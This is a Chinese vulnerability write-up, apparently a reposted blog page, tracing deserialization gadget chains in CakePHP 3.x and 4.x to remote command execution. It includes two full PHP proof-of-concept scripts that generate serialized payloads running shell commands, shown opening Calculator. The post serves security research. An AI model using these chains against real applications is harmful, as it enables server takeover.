当前位置: 首页 > news >正文

CakePHP 3.x/4.x反序列化RCE链

最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。

CakePHP简介

CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用,而又不失灵活性。

3.x ≤ 3.9.6

入口位于vendor\symfony\process\Process.php的__destruct方法

在一些老版本中,__destruct方法是这样的:

跟进stop方法:

跟进isRunning方法:

$this->status可控,可以继续进入updateStatus方法,让其等于"started"即可

继续跟进readPipes方法:

发现$this->processPipes可控且调用readAndWrite方法,这样就我们可以调用任意类的__call方法

全局搜索,找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法:

这里的$this->_behaviors也可控,到这里我们就可以调用任意类的call方法了

继续寻找,在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法:

这里就可以调用任意类的任意方法了,但是参数不可控

再来看看进入call_user_func_array的条件:

这里的$method就是之前触发__callreadAndWrite方法

跟进hasMethod方法,$this->_methodMap可控,所以可以使其返回true

再来看看has方法,是在父类ObjectRegistry中定义的,$this->_loaded也可控

所以条件成立,可以利用回调函数调用任意方法

接下来找到不需要参数的合适方法:

位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法

执行的命令由可控参数$this->_host、$this->_port等拼接而成,我们可以利用分号进行命令注入

但是由于前面的php -S命令,在windows下没有php环境变量可能无法利用

在执行命令之前,还得先让两个$this->out方法正常返回,否则会报错退出

一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php

这里的$level为1,我们只需要让$this->_level小于1即可使其返回true

到这里就可以执行系统命令了

poc:

<?php
namespace Cake\Core;
abstract class ObjectRegistry
{public $_loaded = [];
}namespace Cake\ORM;
class Table
{public $_behaviors;
}use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{public $_methodMap = [];protected function _resolveClassName($class){}protected function _throwMissingClassError($class, $plugin){}protected function _create($class, $alias, $config){}
}namespace Cake\Console;
class Shell
{public $_io;
}class ConsoleIo
{public $_level;
}namespace Cake\Shell;
use Cake\Console\Shell;
class ServerShell extends Shell
{public $_host;protected $_port = 0;protected $_documentRoot = "";protected $_iniPath = "";
}namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{public $processPipes;
}$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
$a = new \Cake\Shell\ServerShell();
$a->_io = new \Cake\Console\ConsoleIo();
$a->_io->_level = 0;
$a->_host = ";open /System/Applications/Calculator.app;";
$pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];echo base64_encode(serialize($pop));

3.x某些版本、4.x ≤ 4.2.3

4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动

4.x版本ServerShell类修改了,没有之前一样好用的方法了

寻找新的调用链:

vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php

这里有动态调用,方法名可控,参数$row通过$this->_statement->fetch($type)获得

于是寻找可用的fetch方法

vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法:

这里$this->buffer、$this->index、$this->_allFetched参数均可控,可以返回我们指定的$row

于是可以达成任意方法执行,直接指定system执行系统命令

poc:

<?php
namespace Cake\Core;
abstract class ObjectRegistry
{public $_loaded = [];
}namespace Cake\ORM;
class Table
{public $_behaviors;
}use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{public $_methodMap = [];protected function _resolveClassName(string $class): ?string{return $class;}protected function _throwMissingClassError(string $class, ?string $plugin): void{}protected function _create($class, $alias, $config){}
}namespace Cake\Database\Statement;
class StatementDecorator {public $_statement;
}class CallbackStatement extends StatementDecorator
{public $_callback;
}class BufferedStatement
{public $_allFetched;public $buffer = [];protected $index = 0;
}namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{public $processPipes;
}$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["callbackstatement","fetch"]];
$a = new \Cake\Database\Statement\CallbackStatement($statement, $driver,"");
$a->_callback = "system";
$a->_statement = new \Cake\Database\Statement\BufferedStatement($statement, $driver);
$a->_statement->_allFetched = true;
$a->_statement->buffer = ["open /System/Applications/Calculator.app"];
$pop->processPipes->_behaviors->_loaded = ["callbackstatement"=>$a];echo base64_encode(serialize($pop));

相关文章:

CakePHP 3.x/4.x反序列化RCE链

最近网上公开了cakephp一些反序列化链的细节&#xff0c;但是没有公开poc&#xff0c;并且网上关于cakephp的反序列化链比较少&#xff0c;于是自己跟一下 &#xff0c;构造pop链。 CakePHP简介 CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Contr…...

练习之C++[3]

文章目录 1.模板类2.模板声明3.string类 1.模板类 模板可以具有非类型参数&#xff0c;用于指定大小&#xff0c;可以根据指定的大小创建动态结构所以可用来创建动态增长和减小的数据结构模板运行时不检查数据类型&#xff0c;也不保证类型安全&#xff0c;相当于类型的宏替换…...

[MT8766][Android12] 修改WIFI热点默认名称、密码、IP地址以及默认开启热点

文章目录 开发平台基本信息问题描述解决方法 开发平台基本信息 芯片: MTK8766 版本: Android 12 kernel: msm-4.19 问题描述 最近做了一款没有屏幕显示的智能盒子&#xff0c;要想操控这款设备就只能通过adb投屏&#xff0c;如果默认不允许有线连接&#xff0c;那么要怎么实…...

【嵌入式】堆栈与单片机内存

堆栈 在片内RAM中&#xff0c;常常要指定一个专门的区域来存放某些特别的数据 它遵循顺序存取和后进先出(LIFO/FILO)的原则&#xff0c;这个RAM区叫堆栈。 其实堆栈就是单片机中的一些存储单元&#xff0c;这些存储单元被指定保存一些特殊信息&#xff0c;比如地址&#xff0…...

十大排序算法Java实现及时间复杂度

文章目录 十大排序算法选择排序冒泡排序插入排序希尔排序快速排序归并排序堆排序计数排序基数排序桶排序时间复杂度 参考资料 十大排序算法 选择排序 原理 从待排序的数据元素中找出最小或最大的一个元素&#xff0c;存放在序列的起始位置&#xff0c; 然后再从剩余的未排序元…...

[Go]配置国内镜像源

配置 Windows 选一个 go env -w GOPROXYhttps://goproxy.cn,direct go env -w GOPROXYhttps://mirrors.aliyun.com/goproxy,direct查看环境配置 go env...

Java知识点补充

静态方法 vs 实例方法&#xff1a; 静态方法&#xff08;使用 static 关键字声明&#xff09;&#xff1a;属于类&#xff0c;不依赖于对象实例&#xff0c;可以通过类名直接调用。 实例方法&#xff08;不使用 static 关键字声明&#xff09;&#xff1a;属于类的实例&#xf…...

Webpack和JShaman相比有什么不同?

Webpack和JShaman相比有什么不同&#xff1f; Webpack的功能是打包&#xff0c;可以将多个JS文件打包成一个JS文件。 JShaman专门用于对JS代码混淆加密&#xff0c;目的是让JavaScript代码变的不可读、混淆功能逻辑、加密代码中的隐秘数据或字符&#xff0c;是用于代码保护的…...

WEB应用程序编程接口API

使用Web API Web API是网站的一部分&#xff0c;用于与使用具体URL请求特定信息的程序交互。这种请求称为API调用。请求的数据格式以易于处理的格式&#xff08;JSON,CSV&#xff09;返回。 Git和GitHub Git是一个分布式版本控制系统&#xff0c;帮助人们管理为项目所做的工作…...

进阶JAVA篇- BigDecimal 类的常用API(四)

目录 API 1.0 BigDecimal 类说明 1.1 为什么浮点数会计算不精确呢&#xff1f; 1.2 如何创建 BigDecimal 类型的对象 1.2.1具体来介绍三种方式来创建&#xff1a; 1.2.2 结合三种创建方法&#xff0c;一起来分析一下。 1.3 BigDecimal 类中的 valueOf(Strin…...

UE4 顶点网格动画播放后渲染模糊问题

问题描述&#xff1a;ABC格式的顶点网格动画播放结束后&#xff0c;改模型看起来显得很模糊有抖动的样子 解决办法&#xff1a;关闭逐骨骼动态模糊...

centos 磁盘挂载与解挂

磁盘挂载 查看已挂载的磁盘 df -TH查看磁盘分区&#xff0c;对比第一步&#xff0c;看哪些磁盘没有挂载&#xff0c;例如发现/dev/sdb的磁盘没有在第一步中显示 fdisk -l磁盘分区&#xff08;/dev/sdb为上一步骤中没有挂载的磁盘&#xff09; fdisk /dev/sdb执行上一命令后…...

C语言 位操作

定义 位操作提高程序运行效率&#xff0c;减少除法和取模的运算。在计算机程序中&#xff0c;数据的位是可以操作的最小数据单位&#xff0c;理论上可以用“位运算”来完成所有的运算和操作。 左移 后空缺自动补0 右移 分为逻辑右移和算数右移 逻辑右移 不管什么类型&am…...

Go语言中入门Hello World以及IDE介绍

您可以阅读Golang教程第1部分&#xff1a;Go语言介绍与安装 来了解什么是golang以及如何安装golang。 Go语言已经安装好了&#xff0c;当你开始学习Go语言时&#xff0c;编写一个"Hello, World!"程序是一个很好的入门点。 下面将会提供了一些有关IDE和在线编辑器的…...

Java面试题-Java核心基础-第二天(基本语法)

目录 一、注释有几种形式 二、标识符与关键字的区别 三、自增自减运算符 四、移位运算符 五、continue、break、return的区别 一、注释有几种形式 注释除了有其他编程语言有的单行注释和多行注释之外&#xff0c;还有其Java特有的文档注释 文档注释能够使用javadoc命令就…...

Linux 部署 GitLab idea 连接

概述 GitLab 是一个开源的代码管理平台&#xff0c;使用 Git 作为版本控制工具&#xff0c;提供了 Web 界面和多种功能&#xff0c;如 wiki、issue 跟踪、CI/CD 等。 GitLab 可以自托管或使用 SaaS 服务&#xff0c;支持多种操作系统和执行器。 GitLab 可以帮助软件开发团队…...

Java延迟队列——DelayQueue

Java延迟队列——DelayQueue DelayQueue的定义 public class DelayQueue<E extends Delayed> extends AbstractQueue<E> implements BlockingQueue<E>DelayQueue是一个无界的BlockingQueue&#xff0c;是线程安全的&#xff08;无界指的是队列的元素数量不存…...

Vulnhub系列靶机---Raven2

文章目录 Raven2 渗透测试信息收集提权UDF脚本MySQL提权SUID提权 Raven2 渗透测试 信息收集 查看存活主机 arp-scan -l 找到目标主机。 扫描目标主机上的端口、状态、服务类型、版本信息 nmap -A 192.168.160.47目标开放了 22、80、111 端口 访问一下80端口&#xff0c;并…...

设计模式-生成器模式

生成器模式&#xff08;Builder Pattern&#xff09;是一种创建型设计模式&#xff0c;用于构建复杂的对象。这种模式将构造代码和表示代码分离开来&#xff0c;使得同样的构造过程可以创建不同的表示。 以下是一个简单的Java实现&#xff1a; // 产品 class Product …...

Nginx正向代理配置(http)

前言 在工作中我们经常使用nginx进行反向代理,今天介绍下怎么进行正向代理,支持http请求,暂不支持https 首先先介绍下正向代理和反向代理。 正向代理 在客户端&#xff08;浏览器&#xff09;配置代理服务器&#xff0c;通过代理服务器进行互联网访问。 反向代理 客户端只…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误

HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误&#xff0c;它们的含义、原因和解决方法都有显著区别。以下是详细对比&#xff1a; 1. HTTP 406 (Not Acceptable) 含义&#xff1a; 客户端请求的内容类型与服务器支持的内容类型不匹…...

黑马Mybatis

Mybatis 表现层&#xff1a;页面展示 业务层&#xff1a;逻辑处理 持久层&#xff1a;持久数据化保存 在这里插入图片描述 Mybatis快速入门 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/6501c2109c4442118ceb6014725e48e4.png //logback.xml <?xml ver…...

django filter 统计数量 按属性去重

在Django中&#xff0c;如果你想要根据某个属性对查询集进行去重并统计数量&#xff0c;你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求&#xff1a; 方法1&#xff1a;使用annotate()和Count 假设你有一个模型Item&#xff0c;并且你想…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互

引擎版本&#xff1a; 3.8.1 语言&#xff1a; JavaScript/TypeScript、C、Java 环境&#xff1a;Window 参考&#xff1a;Java原生反射机制 您好&#xff0c;我是鹤九日&#xff01; 回顾 在上篇文章中&#xff1a;CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

JDK 17 新特性

#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持&#xff0c;不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的&#xff…...

OpenLayers 分屏对比(地图联动)

注&#xff1a;当前使用的是 ol 5.3.0 版本&#xff0c;天地图使用的key请到天地图官网申请&#xff0c;并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能&#xff0c;和卷帘图层不一样的是&#xff0c;分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

docker 部署发现spring.profiles.active 问题

报错&#xff1a; org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

代码随想录刷题day30

1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币&#xff0c;另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额&#xff0c;返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

漏洞概览 漏洞名称&#xff1a;Apache Flink REST API 任意文件读取漏洞CVE编号&#xff1a;CVE-2020-17519CVSS评分&#xff1a;7.5影响版本&#xff1a;Apache Flink 1.11.0、1.11.1、1.11.2修复版本&#xff1a;≥ 1.11.3 或 ≥ 1.12.0漏洞类型&#xff1a;路径遍历&#x…...